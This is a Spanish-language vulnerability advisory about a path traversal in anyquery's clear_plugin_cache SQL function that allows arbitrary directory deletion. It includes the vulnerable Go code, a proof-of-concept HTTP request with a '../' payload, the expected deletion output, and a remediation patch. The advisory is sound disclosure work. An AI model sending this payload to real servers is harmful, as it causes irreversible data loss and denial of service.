Resumen

La función SQL escalar clear_plugin_cache(plugin) en namespace/other_functions.go pasa el argumento plugin proporcionado por el usuario directamente a path.Join y luego a os.RemoveAll, con solo una verificación de cadena vacía como protección. Debido a que path.Join resuelve silenciosamente los segmentos .., un portador de token con bajos privilegios puede enviar SELECT clear_plugin_cache('../../../../tmp/target') al endpoint HTTP /v1/query y eliminar cualquier directorio accesible por el proceso del servidor. En el escenario verificado, un directorio fuera de $XDG_CACHE_HOME/anyquery/plugins/ fue eliminado exitosamente, confirmando la explotación completa de path traversal.

Código Afectado

namespace/other_functions.go:46: pathlib.Join resuelve segmentos .. en el plugin controlado por el atacante, produciendo una ruta fuera de la raíz del cache.

namespace/other_functions.go:53: os.RemoveAll elimina incondicionalmente la ruta atravesada.

go
func clear_plugin_cache(plugin string) string {
	pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)

	if plugin == "" {
		return "The plugin name is empty"
	}

	// Remove the directory
	err := os.RemoveAll(pathToRemove)
	if err != nil {
		return err.Error()
	}

	return ""
}

Flujo de ejecución: HTTP JSON body.QueryexecuteQueryLLM (controller/llm.go:420-426) → shell.Run → SQLite clear_plugin_cache(plugin)pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) en other_functions.go:46os.RemoveAll en other_functions.go:53

Prueba de Concepto

Prerrequisitos:

  • Docker instalado
  • Python 3 con paquete requests (pip install requests)

Paso 1: Construir e iniciar el servicio vulnerable:

bash
docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002

Paso 2: Ejecutar el script PoC (terminal separada):

bash
python3 poc.py

Solicitud HTTP:

http
POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json

{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"}

Salida esperada:

text
[1] Creating sentinel directory /tmp/poc_sentinel inside container...
    Sentinel created: /tmp/poc_sentinel
[2] Confirming server is reachable...
    GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
    HTTP 200
    Body: +----------------------------------------------------+
| clear_plugin_cache('../../../../tmp/poc_sentinel') |
+----------------------------------------------------+
|                                                    |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
    Sentinel GONE: /tmp/poc_sentinel deleted outside cache root.
RESULT: PASS: clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)

Impacto

Un usuario de API autenticado con bajos privilegios puede eliminar cualquier directorio accesible al proceso del servidor anyquery proporcionando un nombre de plugin que atraviese rutas con .. a clear_plugin_cache. El impacto verificado es la eliminación permanente de directorios arbitrarios fuera del límite previsto del cache de plugins ($XDG_CACHE_HOME/anyquery/plugins/). En un despliegue realista, un atacante podría dirigirse a directorios de configuración, datos de aplicación o el directorio home del usuario, causando pérdida irreversible de datos y denegación de servicio. No hay impacto en la confidencialidad ya que la función solo elimina y no lee datos.

Remediación

En namespace/other_functions.go, resolver la ruta completa y confirmar que comparte el prefijo esperado de la raíz del cache antes de llamar a os.RemoveAll:

go
func clear_plugin_cache(plugin string) string {
    if plugin == "" {
        return "The plugin name is empty"
    }
    cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
    pathToRemove := pathlib.Join(cacheRoot, plugin)
    rel, err := filepath.Rel(cacheRoot, pathToRemove)
    if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
        return "Invalid plugin name"
    }
    if err := os.RemoveAll(pathToRemove); err != nil {
        return err.Error()
    }
    return ""
}

Como medida de defensa en profundidad, también rechazar valores de plugin que contengan /, \, o un . inicial a nivel de entrada antes de la llamada path.Join, para que las secuencias de traversal sean bloqueadas en la primera oportunidad.